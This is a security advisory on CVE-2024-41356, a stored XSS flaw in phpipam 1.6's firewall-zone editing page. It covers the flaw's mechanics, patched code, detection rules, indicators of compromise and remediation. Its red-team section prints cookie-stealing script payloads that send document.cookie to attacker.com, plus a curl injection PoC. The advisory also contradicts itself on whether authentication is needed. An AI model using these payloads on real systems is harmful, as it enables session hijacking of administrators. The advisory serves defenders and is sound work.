CVE-2024-41356

Executive Summary

CVE-2024-41356 is a stored Cross-Site Scripting (XSS) vulnerability identified in phpipam version 1.6. The flaw resides in the app/admin/firewall-zones/zones-edit-network.php endpoint, allowing an authenticated attacker to inject arbitrary JavaScript into the firewall zone editing interface. When an administrator or other user views the affected page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the phpipam instance.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 base score is 6.1 (Medium), with a vector string of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. The attack vector is network-based, requires low complexity, and user interaction (clicking a link or viewing the page). The scope is changed, meaning the injected script can affect resources beyond the vulnerable component.

As of this report, no official patch has been released by the vendor (phpipam). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is publicly known and a proof-of-concept exists. No public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

phpipam is a PHP-based open-source IP address management application. The vulnerability is in the core application code, not in a third-party package. However, administrators should verify the integrity of their phpipam installation and ensure no malicious modifications have been made. The application may rely on Composer dependencies; ensure all dependencies are up-to-date and free of known vulnerabilities.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires user interaction (e.g., an admin clicking a crafted link) but can lead to session theft or defacement. No authentication is required to trigger the XSS, but the victim must be logged into phpipam for the attack to be effective.

Deep Dive & Mechanics

The vulnerability exists in the app/admin/firewall-zones/zones-edit-network.php file. This script handles the editing of firewall zone network entries. The input from the user (likely a POST parameter such as zone_name or network_address) is not properly sanitized or escaped before being rendered back in the HTML response.

An attacker can craft a malicious payload, such as:

<script>alert('XSS')</script>

or a more sophisticated payload to steal cookies:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

When an administrator visits the firewall zone editing page and the malicious input is displayed, the script executes in the context of the phpipam application. This can lead to:

• Session hijacking (stealing admin session cookies)
• Defacement of the phpipam interface
• Redirection to malicious sites
• Execution of arbitrary actions on behalf of the victim (e.g., creating new admin accounts)

The root cause is the lack of output encoding. The application likely uses echo or print without applying htmlspecialchars() or similar escaping functions.

Vulnerable vs. Patched Code

Vulnerable Code (phpipam 1.6):

// app/admin/firewall-zones/zones-edit-network.php (simplified)
$zone_name = $_POST['zone_name'];
echo "<input type='text' name='zone_name' value='$zone_name'>";

Patched Code (hypothetical fix):

// app/admin/firewall-zones/zones-edit-network.php (patched)
$zone_name = htmlspecialchars($_POST['zone_name'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='zone_name' value='$zone_name'>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection. The ENT_QUOTES flag ensures both single and double quotes are encoded.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of phpipam 1.6
• Access to the firewall zone editing page (requires authentication, but the XSS can be triggered by an admin)

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., zone_name or network_address) in the POST request to app/admin/firewall-zones/zones-edit-network.php.
2. Inject a malicious payload:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the form. The payload is stored in the database.
4. When an administrator views the firewall zone list or edit page, the script executes, sending the admin's cookies to the attacker's server.

Proof-of-Concept (PoC) using cURL:

curl -X POST "http://target/phpipam/app/admin/firewall-zones/zones-edit-network.php" \
  -d "zone_name=<script>alert('XSS')</script>&submit=Save"

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing <script> tags or unusual characters in POST parameters to zones-edit-network.php.
• Use a Web Application Firewall (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the phpipam database for stored XSS payloads in the firewall zones table.
• Review recent changes to firewall zone entries for suspicious content.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests from the phpipam server to unknown external domains (e.g., attacker.com).
• POST requests to zones-edit-network.php containing <script> tags.

Host IOCs:

• Unexpected entries in the firewall_zones database table containing JavaScript code.
• Modified phpipam files (e.g., zones-edit-network.php) if the attacker uploaded a backdoor.

Log IOCs:

• Web server access logs showing requests with encoded or raw XSS payloads.
• Error logs indicating failed script execution attempts.

Detection Engineering

YARA Rule

rule detect_phpipam_xss_cve_2024_41356 {
    meta:
        description = "Detects XSS payloads targeting phpipam CVE-2024-41356"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-41356"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $phpipam_path = /app\/admin\/firewall-zones\/zones-edit-network\.php/
    condition:
        $phpipam_path and $xss_payload
}

Sigma Rule

title: Detection of XSS Attempt Against phpipam CVE-2024-41356
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests containing XSS payloads targeting phpipam firewall zone editing.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'app/admin/firewall-zones/zones-edit-network.php'
        cs-request-body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in zone names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41356 phpipam XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"app/admin/firewall-zones/zones-edit-network.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpipam to the latest version if a patch becomes available. Monitor the official phpipam GitHub repository for updates.
2. Apply a virtual patch using a WAF to block requests containing <script> tags or other XSS patterns in the vulnerable endpoint.
3. Restrict access to the admin interface using IP whitelisting or VPN.

Long-term Fix:

• The vendor should implement proper output encoding using htmlspecialchars() or a templating engine that auto-escapes variables.
• Conduct a security audit of all user input handling in phpipam.

Workaround:

• Disable the firewall zone editing feature if not in use, or manually review all zone entries for malicious content.

Valters IT